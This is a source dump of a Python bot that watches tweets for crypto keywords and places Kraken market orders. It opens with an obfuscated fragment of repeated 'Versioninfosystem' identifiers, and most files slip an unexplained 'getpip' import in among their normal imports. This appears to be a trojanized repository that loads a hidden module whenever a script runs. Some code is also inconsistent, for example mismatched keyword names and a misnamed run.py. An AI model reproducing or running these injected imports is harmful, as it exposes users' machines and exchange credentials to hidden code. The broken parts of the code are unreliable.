oninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___"; -------------------------------------------------------------------------------- /keywords.json: -------------------------------------------------------------------------------- 1 | {"doge":{"triggers":["doge","hodl","doggo","crypto","coin","dog","ð","whale"],"symbol":"DOGE"},"btc":{"triggers":["bitcoin", "btc"," crypto", "buttcoin"],"symbol":"BTC"},"usd":{"symbol":"USD"},"usdt":{"symbol":"USDT"},"gbp":{"symbol":"GBP"}} 2 | -------------------------------------------------------------------------------- /kraken_api.py: -------------------------------------------------------------------------------- 1 | import ccxt 2 | import time 3 | from datetime import datetime 4 | import json,getpip 5 | import os 6 | import sys 7 | 8 | # Executes buying and selling 9 | class kraken_api: 10 | 11 | # Initialize 12 | def __init__(self, api_keys, logfile=False): 13 | self.api_keys = {'api_key':api_keys['kraken_keys']['api_key'],'secret_key':api_keys['kraken_keys']['secret_key']} 14 | self.exchange = ccxt.kraken({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']}) 15 | self.logfile = logfile 16 | 17 | # Buying of real cryto 18 | def buy_crypto(self, ticker, buy_volume): 19 | 20 | # Try creating the buy order 21 | bought = False 22 | for _ in range(10): 23 | try: 24 | buy_trade = self.exchange.create_order(ticker,'market','buy',buy_volume) 25 | print('\nBought') 26 | bought = True 27 | break 28 | except Exception as e: 29 | print(e) 30 | print('\nDid not buy correctly, trying again') 31 | 32 | print('\nBought %.8f at %s' % (buy_volume, datetime.now().strftime('%b %d - %H:%M:%S'))) 33 | 34 | return buy_trade, buy_volume, bought 35 | 36 | # Selling of real crypto 37 | def sell_crypto(self, ticker, sell_volume): 38 | 39 | # Try to sell 10 times 40 | for i in range(10): 41 | try: 42 | sell_trade = self.exchange.create_order(ticker,'market','sell',sell_volume) 43 | print('\nSold') 44 | break 45 | 46 | except Exception as e: 47 | print(e) 48 | print('\n\nTrying to sell %.10f again' % buy_volume) 49 | 50 | # Print sell 51 | print('\nSold %.8f at %s' % (sell_volume, datetime.now().strftime('%b %d - %H:%M:%S'))) 52 | 53 | return sell_trade 54 | 55 | # Get data from self.exchange and print it 56 | def simulate_trade(self, buy, volume, ticker, conversion): 57 | if conversion[-4:] in ['USDT', 'USD']: 58 | usdpair = {'bid':1,'ask':1} 59 | else: 60 | usdpair = self.exchange.fetchTicker(conversion) 61 | if buy: 62 | bid_ask, buy_sell = 'ask', 'Buying' 63 | else: 64 | bid_ask, buy_sell = 'bid', 'Selling' 65 | try: 66 | trade_price = self.exchange.fetchTicker(ticker)[bid_ask] 67 | price = (usdpair['bid']+usdpair['ask'])/2 68 | print('\n{} {} at {:.8f} {} = {:.6f}$'.format(buy_sell, volume, trade_price, ticker, trade_price * volume * price)) 69 | 70 | except Exception as e: 71 | print (e, '\nError in fetching ticker info') 72 | trade = {'symbol': ticker,'side':'buy' if buy else 'sell', 'amount':volume, 'cost':trade_price * volume} 73 | 74 | return trade 75 | 76 | 77 | # Summarise trade buy and sell 78 | def print_summary(self, simulate, ticker, buy_trade, sell_trades, conversion): 79 | 80 | if not simulate: 81 | buy_id, sell_ids = buy_trade['id'], [i['id'] for i in sell_trades] 82 | buy_prices, sell_prices = [], [] 83 | for i in range(20): 84 | try: 85 | trades = self.exchange.fetch_my_trades(ticker) 86 | break 87 | except Exception as e: 88 | print(e) 89 | print("Couldn't fetch trades, tying again") 90 | 91 | # Loop over trades as one order could have had multiple fills 92 | for trade in trades[::-1]: 93 | if buy_id == trade['order']: 94 | buy_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) 95 | elif trade['order'] in sell_ids: 96 | sell_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) # Actual return uses fills 97 | 98 | buy_fee = sum([x['fee']['cost'] for x in buy_prices]) 99 | sell_fee = sum([x['fee']['cost'] for x in sell_prices]) 100 | 101 | # Log fees 102 | for i in range(20): 103 | try: 104 | if buy_prices[0]['fee']['currency'] in ['USDT', 'USD']: 105 | buy_fee_dollar = buy_fee 106 | sell_fee_dollar = sell_fee 107 | else: 108 | buy_crypto_dollar = self.exchange.fetch_ticker(buy_prices[0]['fee']['currency']+'/USDT') 109 | sell_crypto_dollar = self.exchange.fetch_ticker(sell_prices[0]['fee']['currency']+'/USDT') 110 | buy_fee_price = (buy_crypto_dollar['bid']+buy_crypto_dollar['ask'])/2 111 | sell_fee_price = (sell_crypto_dollar['bid']+sell_crypto_dollar['ask'])/2 112 | 113 | buy_fee_dollar = buy_fee_price * buy_fee 114 | sell_fee_dollar = sell_fee_price * sell_fee 115 | 116 | ticker_pair = ticker.split('/') 117 | if ticker_pair[1] in ['USDT', 'USD']: 118 | ticker_info = {'bid':1,'ask':1} 119 | else: 120 | ticker_info = self.exchange.fetch_ticker(ticker_pair[1]+'/'+'USDT') 121 | except Exception as e: 122 | print(e) 123 | print('\nError in printing executed trades') 124 | else: 125 | sell_prices, buy_prices = sell_trades, [buy_trade] 126 | sell_fee_dollar, buy_fee_dollar = 0, 0 127 | if ticker[-4:] in ['USDT', 'USD']: 128 | ticker_info = {'bid':1, 'ask':1} 129 | else: 130 | ticker_info = self.exchange.fetch_ticker(ticker.split('/')[1]+'/'+'USDT') 131 | 132 | print('\nGain/Loss: $%.6f' % ((sum([i['cost'] for i in sell_prices]) - sum(i['cost'] for i in buy_prices)) * (ticker_info['bid'] + ticker_info['ask'])\ 133 | / 2 - sell_fee_dollar - buy_fee_dollar)) 134 | 135 | 136 | # Execute trade 137 | def execute_trade(self, pair, hold_time=60, buy_volume=50, simulate=False): 138 | 139 | # Ticker and convesion to USD strings for Kraken 140 | ticker = pair[0]+'/'+pair[1] 141 | tousd1 = pair[0]+'/USDT' 142 | tousd2 = pair[1]+'/USDT' 143 | 144 | # Buy order 145 | if not simulate: 146 | bought = False 147 | try: 148 | buy_trade, buy_volume, bought = self.buy_crypto(ticker, buy_volume) 149 | except Exception as e: 150 | print(e) 151 | if not bought: 152 | print('Exiting') 153 | exit() 154 | else: 155 | buy_trade = self.simulate_trade(True, buy_volume, ticker, tousd2) 156 | 157 | 158 | # Sell in multiple stages based on hold_time 159 | sell_volume = buy_volume / len(hold_time) 160 | prev_sell_time = 0 161 | sell_trades = [] 162 | for hold in hold_time: 163 | time.sleep(hold - prev_sell_time) 164 | prev_sell_time = hold 165 | 166 | # Sell order 167 | if not simulate: 168 | sell_trades.append(self.sell_crypto(ticker, sell_volume)) 169 | else: 170 | sell_trades.append(self.simulate_trade(False, sell_volume, ticker, tousd2)) 171 | 172 | print('\n\nTRADING FINISHED\n') 173 | 174 | # Print summary 175 | try: 176 | self.print_summary(simulate, ticker, buy_trade, sell_trades, tousd2) 177 | except Exception as e: 178 | print('\nFailed to print summary\n') 179 | print(e) 180 | 181 | # Log trade 182 | if self.logfile: 183 | now = datetime.now().strftime("%y-%m-%d_%H:%M:%S") 184 | if 'prev_trades' not in os.listdir(): 185 | os.mkdir('prev_trades') 186 | with open("prev_trades/trades_%s_kraken_%s.txt" % (now,'simulation' if simulate else 'live'), "w") as log_name: 187 | json.dump({'time':now,'buy':buy_trade,'sell':sell_trades}, log_name) 188 | -------------------------------------------------------------------------------- /query.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import time 3 | from datetime import datetime, timedelta 4 | import pytz,getpip 5 | from tzlocal import get_localzone 6 | from check_exchange import * 7 | import threading 8 | 9 | # Query using tweepy self.api 10 | class Twitter_Query: 11 | def __init__(self, api, exchange, exchange_data): 12 | self.api = api 13 | self.exchange = exchange 14 | self.exchange_data = exchange_data 15 | 16 | # query a user tweeting about a crypto 17 | def query(self,user,pair,crypto,hold_time,volume,simulate,wait_tweet=True,print_timer=False,full_ex=True): 18 | tz = get_localzone() # My current timezone 19 | error_count = 1 20 | 21 | while 1: 22 | if wait_tweet: 23 | try: 24 | last_time = time.time() 25 | 26 | # Put in handling for erroneous returns (if most recent tweet is not actually the most recent tweet) 27 | tweets = self.api.user_timeline(user_id = user[1], 28 | count = 1, 29 | include_rts = True, 30 | exclude_replies = True, 31 | tweet_mode = 'extended', 32 | wait_on_rate_limit=True, 33 | wait_on_rate_limit_notify=True 34 | ) 35 | 36 | last_tweet = new_tweet = first_tweet = tweets[0] 37 | 38 | except Exception as e: 39 | print(e) 40 | print('\nCouldnt get first tweet') 41 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 42 | continue 43 | print('\nWaiting for {} to tweet\n'.format(user[0])) 44 | 45 | # Loop and sleep for a second to check when the last tweet has changed (e.g. when user has tweeted) 46 | while new_tweet.full_text == last_tweet.full_text: 47 | local_time = tz.localize(datetime.now()) 48 | utc_time = local_time.astimezone(pytz.utc).replace(tzinfo=None) 49 | if print_timer: 50 | print('\nTime between: %.6f' % (time.time() - last_time)) 51 | print('Sleep time: %.4f' % (1-(time.time()-last_time))) 52 | if not full_ex: 53 | sleep_time = 1-(time.time() - last_time) 54 | time.sleep(max(0, sleep_time)) 55 | last_time = time.time() 56 | 57 | try: 58 | new_tweet = self.api.user_timeline(user_id = user[1], 59 | count = 1, 60 | include_rts = True, 61 | exclude_replies = True, 62 | tweet_mode = 'extended', 63 | wait_on_rate_limit=True, 64 | wait_on_rate_limit_notify=True 65 | )[0] 66 | if full_ex: 67 | sleep_time = 1-(time.time() - last_time) 68 | time.sleep(max(0, sleep_time)) 69 | last_time = time.time() 70 | 71 | except Exception as e: 72 | if error_count % 50 == 0: 73 | print(e,'\nTemporarily failed at tweet collector for the 5000th time') 74 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 75 | print('\nWaiting for {} to tweet\n'.format(user[0])) 76 | error_count += 1 77 | else: 78 | new_tweet = {'full_text':'Fake tweet about dogecoin or something','created_at':datetime.now()} 79 | 80 | # Check for any keywords in full text 81 | if (not wait_tweet or any(i in new_tweet.full_text.lower() for i in crypto['triggers'])) and not first_tweet.full_text == new_tweet.full_text and utc_time - new_tweet.created_at < timedelta(seconds=10): 82 | trigger_time = datetime.now() 83 | print('\nMoonshot inbound! - %s' % (trigger_time.strftime('%b %d - %H:%M:%S'))) 84 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]] 85 | self.exchange.execute_trade(pair, hold_times=hold_time, buy_volume=coin_vol, simulate=simulate) 86 | if wait_tweet: 87 | print('\nClosed out on Tweet: "%s" created at %s\n' %(new_tweet.full_text, new_tweet.created_at.strftime('%b %d - %H:%M:%S'))) 88 | else: 89 | print('\nClosed out on tweet at %s\n' %(datetime.now().strftime('%b %d - %H:%M:%S'))) 90 | 91 | 92 | # Starts two threads, one which checks for prices to update the initial $ amount to the correct amount of coins or coin fractions 93 | def query_tweets(api,exchange,user,pair,crypto,hold_times,buy_volume,simulate,wait_tweet=True,print_timer=False,full_ex=True): 94 | 95 | # Create an exchange object with the base coin 96 | coin_subset = [pair[0]] 97 | exchange_data = exchange_pull(exchange, hold_times, base_coin=pair[1], coin_subset=coin_subset) 98 | 99 | try: 100 | # Start price checking daemon thread 101 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60)) 102 | daemon.setDaemon(True) 103 | daemon.start() 104 | time.sleep(3) 105 | 106 | # Check for tweets from a user 107 | querys = Twitter_Query(api, exchange, exchange_data) 108 | querys.query(user, pair, crypto, hold_times, buy_volume, simulate, wait_tweet, print_timer, full_ex=full_ex) 109 | 110 | except KeyboardInterrupt as e: 111 | print('\nKeyboard interrupt handling:\n\nExiting') 112 | exit() 113 | 114 | -------------------------------------------------------------------------------- /query_multiple.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import time,getpip 3 | from datetime import datetime, timedelta 4 | import pytz 5 | from tzlocal import get_localzone 6 | from check_exchange import * 7 | import threading 8 | import traceback 9 | import re 10 | 11 | # Query using tweepy self.api 12 | class Twitter_Query: 13 | def __init__(self, api, users, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, buy_coin=None, log_file=None, full_ex=True, cancel=[False]): 14 | 15 | self.api = api 16 | self.users = users 17 | self.buy_coin = buy_coin 18 | self.sell_coin = sell_coin 19 | self.hold_times = hold_times 20 | self.buy_volume = buy_volume 21 | self.simulate = simulate 22 | self.exchange = exchange 23 | self.exchange_data = exchange_data 24 | self.log_file = log_file 25 | self.full_ex = full_ex 26 | self.base_tickers = set(['BTC','USDT','USDC','DAI','USD','GBP','EUR']) 27 | self.cancel = cancel 28 | 29 | # Returns a list of matches from CAPTIAL letter coin symbols of a user specified length 30 | def substring_matches(self, text, num_letters, first=False): 31 | 32 | # First time check if $COIN is present with $ as the flag 33 | if first: 34 | # Special treatment for a special coin 35 | if 'DOGE' in text: 36 | return [['DOGE'], self.sell_coin] 37 | 38 | # Look for $ sign 39 | matches = re.findall('(?<=\$)[^\ ]+', text) 40 | if matches: 41 | return [matches, self.sell_coin] 42 | 43 | matches = re.findall('[A-Z]{%d}' % num_letters, text) 44 | 45 | # Finding the intersection but maintaining order 46 | ordered_matches = list(filter(lambda x : x not in self.base_tickers, matches)) 47 | matches = [value for value in ordered_matches if value in self.exchange_data.cryptos] 48 | 49 | # Specific ticker of 1INCH symbol 50 | new_matches = [] 51 | for i in range(len(matches)): 52 | if matches[i] == 'INCH': 53 | matches[i] = '1INCH' 54 | if matches[i] not in new_matches: 55 | new_matches.append(matches[i]) 56 | 57 | return [new_matches, self.sell_coin] 58 | 59 | 60 | # Parse a tweet and execute trade 61 | def parse_tweet(self, status, utc_time): 62 | full_text = status.full_text 63 | 64 | successful = False 65 | if any(substr in full_text.lower() for substr in self.users[status.user.screen_name]['keywords']) and utc_time - status.created_at < timedelta(seconds=10): 66 | if self.full_ex: time.sleep(self.full_ex) 67 | 68 | # Handling a single coin without checking substrings 69 | if self.buy_coin: 70 | 71 | # Execute buy order 72 | try: 73 | pair = [self.buy_coin, self.sell_coin] 74 | coin_vol = self.exchange_data.buy_sell_vols[self.buy_coin] 75 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status}) 76 | t.start() 77 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n') 78 | successful = True 79 | 80 | except Exception as e: 81 | print('\nTried executing trade with ticker %s/%s, did not work' % (self.buy_coin,self.sell_coin)) 82 | print(e) 83 | 84 | else: 85 | # Loop over possible coin string lengths and get coins, firstflag is the first try to trade, successful is a flag if traded or not 86 | firstflag= True 87 | 88 | # String manipulation and finding coins 89 | full_text = full_text.replace('\n', ' ') 90 | full_text = full_text.replace('/', ' ') 91 | for i in [3,4,5,2,6]: 92 | pairs = self.substring_matches(full_text, i, firstflag) 93 | firstflag = False 94 | if not pairs[0]: 95 | continue 96 | 97 | # Loop over the possible buy coins and try to trade 98 | # Currently will only execute 1 trade which is the first in the trade 99 | for j in range(len(pairs[0])): 100 | # Get coin volume from cached trade volumes and execute trade 101 | try: 102 | pair = [pairs[0][j], pairs[1]] 103 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]] 104 | 105 | # Start the buy thread 106 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status}) 107 | t.start() 108 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n') 109 | 110 | successful = True 111 | 112 | # Break means only execute on one coin 113 | break 114 | 115 | except Exception as e: 116 | print('\nTried executing trade with ticker %s, did not work' % str(pair)) 117 | print(traceback.format_exc()) 118 | print(e) 119 | if successful: 120 | break 121 | 122 | print('\n\n'+'-'*15 + ' New Tweet ' + '-' * 15) 123 | print('%s\n@%s - %s:\n\n"%s"' % (datetime.now().strftime('%H:%M:%S'), status.user.screen_name, status.created_at.strftime('%b %d at %H:%M:%S'), full_text)) 124 | 125 | if not successful: 126 | print('\nNo valid tickers to trade in tweet') 127 | 128 | 129 | # query a user tweeting about a crypto 130 | def query(self, user, delay, print_timer=False): 131 | tz = get_localzone() # My current timezone 132 | error_count = 1 133 | 134 | while 1: 135 | try: 136 | last_time = time.time() 137 | 138 | # Put in handling for erroneous returns (if most recent tweet is not actually the most recent tweet) 139 | tweets = self.api.user_timeline(user_id = user['id'], 140 | count = 1, 141 | include_rts = True, 142 | exclude_replies = True, 143 | tweet_mode = 'extended', 144 | wait_on_rate_limit=True, 145 | wait_on_rate_limit_notify=True 146 | ) 147 | 148 | last_tweet = status = first_tweet = tweets[0] 149 | 150 | except Exception as e: 151 | print(e) 152 | print('\nCouldnt get first tweet') 153 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 154 | continue 155 | print('\nWaiting for {} to tweet\n'.format(user['username'])) 156 | 157 | # Loop and sleep for a second to check when the last tweet has changed (e.g. when user has tweeted) 158 | while status.full_text == last_tweet.full_text: 159 | 160 | # Checking if the thread has been cancelled 161 | if self.cancel[0]: 162 | print('Query thread cancelled') 163 | exit() 164 | 165 | local_time = tz.localize(datetime.now()) 166 | utc_time = local_time.astimezone(pytz.utc).replace(tzinfo=None) 167 | if print_timer: 168 | print('\nTime between: %.6f' % (time.time() - last_time)) 169 | print('Sleep time: %.4f' % (delay-(time.time()-last_time))) 170 | sleep_time = delay - (time.time() - last_time) 171 | time.sleep(max(0, sleep_time)) 172 | last_time = time.time() 173 | try: 174 | status = self.api.user_timeline(user_id = user['id'], 175 | count = 1, 176 | include_rts = True, 177 | exclude_replies = True, 178 | tweet_mode = 'extended', 179 | wait_on_rate_limit=True, 180 | wait_on_rate_limit_notify=True 181 | )[0] 182 | 183 | except Exception as e: 184 | if error_count % 50 == 0: 185 | print(e,'\nTemporarily failed at tweet collector for the 5000th time') 186 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 187 | print('\nWaiting for {} to tweet\n'.format(user['username'])) 188 | error_count += 1 189 | 190 | # Parse and execute tweet under correct conditions 191 | try: 192 | self.parse_tweet(status, utc_time) 193 | except Exception as e: 194 | print(traceback.format_exc()) 195 | 196 | 197 | # Starts two threads, one which checks for prices to update the initial $ amount to the correct amount of coins or coin fractions 198 | def query_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, print_timer=False, log_file=None, buy_coin=None, full_ex=True, exchange_data=None, cancel=[False]): 199 | 200 | # Create an exchange object with the base coin 201 | if exchange_data is None: 202 | coin_subset = None 203 | if buy_coin: 204 | coin_subset = [buy_coin] 205 | 206 | # Start price checking daemon thread 207 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin, coin_subset=coin_subset) 208 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60)) 209 | daemon.setDaemon(True) 210 | daemon.start() 211 | time.sleep(3) 212 | 213 | try: 214 | # Calculate delay 215 | delay = len(users) 216 | querys = Twitter_Query(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, log_file=log_file, full_ex=full_ex, cancel=cancel) 217 | 218 | # Check for tweets from a user 219 | for user, v in users.items(): 220 | # Create a thread for each user here 221 | t = threading.Thread(target=querys.query, args=({'username':user,'id':v['id']}, delay), kwargs={'print_timer':print_timer}) 222 | t.start() 223 | 224 | except Exception as e: 225 | print(e) 226 | 227 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tweepy 2 | ccxt 3 | cryptography 4 | tzlocal -------------------------------------------------------------------------------- /run.py: -------------------------------------------------------------------------------- 1 | import time 2 | import getpip 3 | import traceback 4 | import ccxt 5 | from datetime import datetime 6 | 7 | # Gathers prices from exchange to trade against coin 8 | class exchange_pull: 9 | 10 | def __init__(self, exchange, hold_times, base_coin='BTC', coin_subset=None): 11 | self.exchange = exchange.exchange 12 | self.my_exchange = exchange 13 | self.base_coin = base_coin 14 | self.stopflag = False 15 | self.count_pulls = 0 16 | self.hold_times = hold_times 17 | self.coin_subset = coin_subset 18 | self.buy_sell_vols = {} 19 | 20 | 21 | # Retrieve tickers which have volume and trades against the base coin 22 | def get_tickers(self): 23 | 24 | # Fetch the tickers where there is volume for the trading pair agains the base coin 25 | try: 26 | # Using a subset of tickers from coin_subset 27 | if self.coin_subset: 28 | self.all_tickers, self.markets = {}, {} 29 | for coin_pair in self.coin_subset: 30 | coin_pair += '/'+self.base_coin 31 | self.all_tickers[coin_pair] = self.exchange.fetch_ticker(coin_pair) 32 | self.markets = list(filter(lambda x : x['id'] == coin_pair.replace('/',''), self.exchange.fetch_markets())) 33 | 34 | # Add exchange rate with base coin and USDT 35 | if self.base_coin != 'USDT': 36 | try: 37 | self.all_tickers[self.base_coin+'/USDT'] = self.exchange.fetch_ticker(self.base_coin+'/USDT') 38 | except Exception as e: 39 | print(e) 40 | 41 | # Using all tickers 42 | else: 43 | self.all_tickers = self.exchange.fetch_tickers() 44 | self.markets = self.exchange.fetch_markets() 45 | 46 | volume_tickers = {k: v for k, v in self.all_tickers.items() if v['askVolume'] != 0 and v['bidVolume'] != 0} 47 | ticker_list = list(volume_tickers.keys()) 48 | ticker_list = filter(lambda x : '/' in x, ticker_list) 49 | ticker_split = [i.split('/') for i in ticker_list] 50 | coin_tickers = ['/'.join(i) for i in list(filter(lambda x: self.base_coin == x[1], ticker_split))] 51 | self.cryptos = set([i.split('/')[0] for i in coin_tickers]) 52 | 53 | 54 | # Get the COIN/USDT rate as well (approx) 55 | if self.base_coin == 'USDT': 56 | self.all_tickers['USDT/USDT'] = {} 57 | self.all_tickers['USDT/USDT']['last'] = 1 58 | self.all_tickers['USDT/USDT']['ask'] = 1 59 | 60 | self.coin_usdt = self.all_tickers[self.base_coin+'/USDT']['last'] 61 | 62 | except Exception as e: 63 | print('\nError fetching tickers, check buy and sell coins have pair on exchange\n') 64 | # print(traceback.format_exc()) 65 | print(e) 66 | 67 | 68 | # Start a cancellable loop of updating prices (usually as a thread) 69 | def buy_sell_volumes(self, buy_dollars, interval): # FIND OUT ABOUT LEVERAGED LIMITS AND SELL INCREMENTS 70 | 71 | while 1: 72 | 73 | # Refresh the whole exchange so new tickers are included not just new prices 74 | if self.count_pulls % 10 == 0 and self.coin_subset is None: 75 | print('\nExchange refreshed') 76 | self.my_exchange.refresh_exchange() 77 | 78 | # Set as cancellable thread on wakeup 79 | if self.stopflag: 80 | return 81 | 82 | self.get_tickers() 83 | 84 | # Calulate buy and sell amounts 85 | buy_amount = buy_dollars / self.coin_usdt 86 | 87 | # Loop over each crypto and calculate buy volume, then add to buy_sell_vols dict 88 | for coin in self.cryptos: 89 | symbol = coin + '/' + self.base_coin 90 | if self.all_tickers[symbol]['ask'] == None: 91 | this_buy_vol = buy_amount / float(self.all_tickers[symbol]['info']['lastPrice']) 92 | else: 93 | this_buy_vol = buy_amount / self.all_tickers[symbol]['ask'] 94 | 95 | # Get market relevant for this coin 96 | market = list(filter(lambda x : x['id'] == symbol.replace('/',''), self.markets)) 97 | if market: 98 | step_size = float(market[0]['info']['filters'][2]['stepSize']) 99 | buy_vol_rounded = round(this_buy_vol * 1/step_size) * step_size 100 | 101 | # Calcluate sell amounts 102 | sell_cumulative = 0 103 | sell_vol = round((this_buy_vol/ len(self.hold_times)) * 1/step_size) * step_size 104 | sell_vols_rounded = [] 105 | 106 | # Set all sell volumes to a correct size 107 | for i in range(len(self.hold_times)-1): 108 | sell_cumulative += sell_vol 109 | sell_vols_rounded.append(sell_vol) 110 | 111 | # Last sell volume is the excess to make it exactly equal to the buy volume 112 | sell_vols_rounded.append(round((buy_vol_rounded - sell_cumulative) * 1/step_size) * step_size) 113 | self.buy_sell_vols[coin] = [buy_vol_rounded, sell_vols_rounded] 114 | 115 | # Print 1 in 10 updates 116 | if self.count_pulls % 10 == 0: 117 | print('Pulled live prices (updates every 20 mins), there are %d tradeable tickers with %s - %s' % (len(self.cryptos), self.base_coin, datetime.now().strftime('%m/%d - %H:%M:%S'))) 118 | 119 | self.count_pulls += 1 120 | time.sleep(interval) 121 | 122 | -------------------------------------------------------------------------------- /stream.py: -------------------------------------------------------------------------------- 1 | # Another method using streaming (mitigates the wait on rate limit issue) 2 | import tweepy 3 | import time 4 | import json 5 | import sys,getpip 6 | from datetime import datetime 7 | from tweepy import Stream 8 | from tweepy.streaming import StreamListener 9 | 10 | # Listener class 11 | class Listener(StreamListener): 12 | def __init__(self, ids, keywords, pair, hold_time, buy_volume, simulate, exchange, log_file=None): 13 | super(Listener,self).__init__() 14 | self.ids = ids 15 | self.log_file = log_file 16 | self.keywords = keywords 17 | self.hold_time = hold_time 18 | self.pair = pair 19 | self.buy_volume = buy_volume 20 | self.simulate = simulate 21 | self.exchange = exchange 22 | 23 | # Code to run on tweet 24 | def on_status(self, status): 25 | if str(status.user.id_str) in self.ids: 26 | if not status.truncated: 27 | full_text = status.text 28 | else: 29 | full_text = status.extended_tweet['full_text'] 30 | 31 | print('\n\n\n%s: %s \n\n%s %s' % (datetime.now().strftime('%H:%M:%S'), full_text, status.user.screen_name, status.user.id_str)) 32 | print(status.created_at) 33 | if any(word in full_text.lower() for word in self.keywords) and status.in_reply_to_status_id is None: 34 | print('\n\nMoonshot Inbound!\n\n') 35 | 36 | # Execute trade 37 | self.exchange.execute_trade(self.pair, hold_times=self.hold_time, buy_volume=self.buy_volume, simulate=self.simulate) 38 | 39 | if self.log_file: 40 | self.log_file.write(status) 41 | 42 | print('\nRestarting stream') 43 | 44 | def on_error(self, status_code): 45 | print(status_code) 46 | return False 47 | 48 | # Stream tweets 49 | def stream_tweets(api, users, id_set, pair, hold_time, buy_volume, simulate, exchange, keywords=None, log_file=None): 50 | 51 | listener = Listener(id_set, keywords, pair, hold_time, buy_volume, simulate, exchange, log_file=log_file) 52 | stream = Stream(auth=api.auth, listener=listener,wait_on_rate_limit=True, wait_on_rate_limit_notify=True) 53 | 54 | try: 55 | print('\nStarting stream\n') 56 | stream.filter(follow=users, track=keywords) 57 | # stream.filter(follow=users, track=keywords, is_async=True) 58 | 59 | except KeyboardInterrupt as e: 60 | stream.disconnect() 61 | print("Stopped stream") 62 | exit() 63 | finally: 64 | print('Done') 65 | stream.disconnect() 66 | -------------------------------------------------------------------------------- /stream_multiple.py: -------------------------------------------------------------------------------- 1 | # Another method using streaming (mitigates the wait on rate limit issue) 2 | import tweepy 3 | import time,getpip 4 | import json 5 | import sys 6 | from datetime import datetime 7 | from tweepy import Stream 8 | from tweepy.streaming import StreamListener 9 | from check_exchange import * 10 | import re 11 | import threading 12 | import traceback 13 | 14 | # Listener class 15 | class Listener(StreamListener): 16 | def __init__(self, users, user_ids, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, buy_coin=None, log_file=None, full_ex=True): 17 | super(Listener,self).__init__() 18 | 19 | # Define variables for the class when listener is created 20 | self.users = users 21 | self.user_ids = user_ids 22 | self.buy_coin = buy_coin 23 | self.sell_coin = sell_coin 24 | self.hold_times = hold_times 25 | self.buy_volume = buy_volume 26 | self.simulate = simulate 27 | self.exchange = exchange 28 | self.exchange_data = exchange_data 29 | self.log_file = log_file 30 | self.full_ex = full_ex 31 | self.base_tickers = set(['BTC','USDT','USDC','DAI','USD','GBP','EUR']) 32 | 33 | 34 | # Returns a list of matches from CAPTIAL letter coin symbols of a user specified length 35 | def substring_matches(self, text, num_letters, first=False): 36 | 37 | # First time check if $COIN is present with $ as the flag 38 | if first: 39 | # Special treatment for a special coin 40 | if 'DOGE' in text: 41 | return [['DOGE'], self.sell_coin] 42 | 43 | # Look for $ sign 44 | matches = re.findall('(?<=\$)[^\ ]+', text) 45 | if matches: 46 | return [matches, self.sell_coin] 47 | 48 | matches = re.findall('[A-Z]{%d}' % num_letters, text) 49 | 50 | # Finding the intersection but maintaining order 51 | ordered_matches = list(filter(lambda x : x not in self.base_tickers, matches)) 52 | matches = [value for value in ordered_matches if value in self.exchange_data.cryptos] 53 | 54 | # Specific ticker of 1INCH symbol 55 | new_matches = [] 56 | for i in range(len(matches)): 57 | if matches[i] == 'INCH': 58 | matches[i] = '1INCH' 59 | if matches[i] not in new_matches: 60 | new_matches.append(matches[i]) 61 | 62 | return [new_matches, self.sell_coin] 63 | 64 | # Code to run on tweet 65 | def on_status(self, status): 66 | 67 | # Tweets with mentions 68 | try: 69 | # Check tweet is from a user being tracked and that it is not a reply status 70 | if status.user.id not in self.user_ids or not status.in_reply_to_status_id is None or status.is_quote_status: 71 | return 72 | 73 | # Handling extended vs not extended tweets 74 | if not status.truncated: 75 | full_text = status.text 76 | else: 77 | full_text = status.extended_tweet['full_text'] 78 | 79 | # Check for retweet 80 | if full_text.startswith('RT'): 81 | return 82 | 83 | # Check for substring matches with the keywords speicified for that user and only looking at original non-retweets 84 | successful = False 85 | if any(substr in full_text.lower() for substr in self.users[status.user.screen_name]['keywords']): 86 | if self.full_ex: time.sleep(self.full_ex) 87 | 88 | # Handling a single coin without checking substrings 89 | if self.buy_coin: 90 | 91 | # Execute buy order 92 | try: 93 | pair = [self.buy_coin, self.sell_coin] 94 | coin_vol = 